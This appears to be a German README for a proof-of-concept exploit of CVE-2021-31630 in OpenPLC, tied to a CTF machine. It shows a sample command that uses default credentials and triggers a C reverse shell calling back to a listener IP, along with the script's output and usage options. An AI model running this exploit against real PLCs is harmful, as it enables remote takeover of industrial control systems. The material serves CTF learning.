
POC-Exploit für CVE-2021-31630, geschrieben in Python3 und mit C-Reverse-Shell im nicht-blockierenden Modus.
Dieser Exploit basiert auf dem Exploit von Exploit-DB erstellt von Fellipe Oliveira.
└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.
python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>
Optionen:
--url - URL des OpenPLC--username - Benutzername--password - Passwort--listenerip - IP-Adresse des Listeners--listenerport - Port des ListenersHINWEIS: Dieser Exploit wurde als PoC erstellt; verwenden Sie ihn nur zu Bildungszwecken oder für CTFs - https://flojboj.org/article/WifineticTwo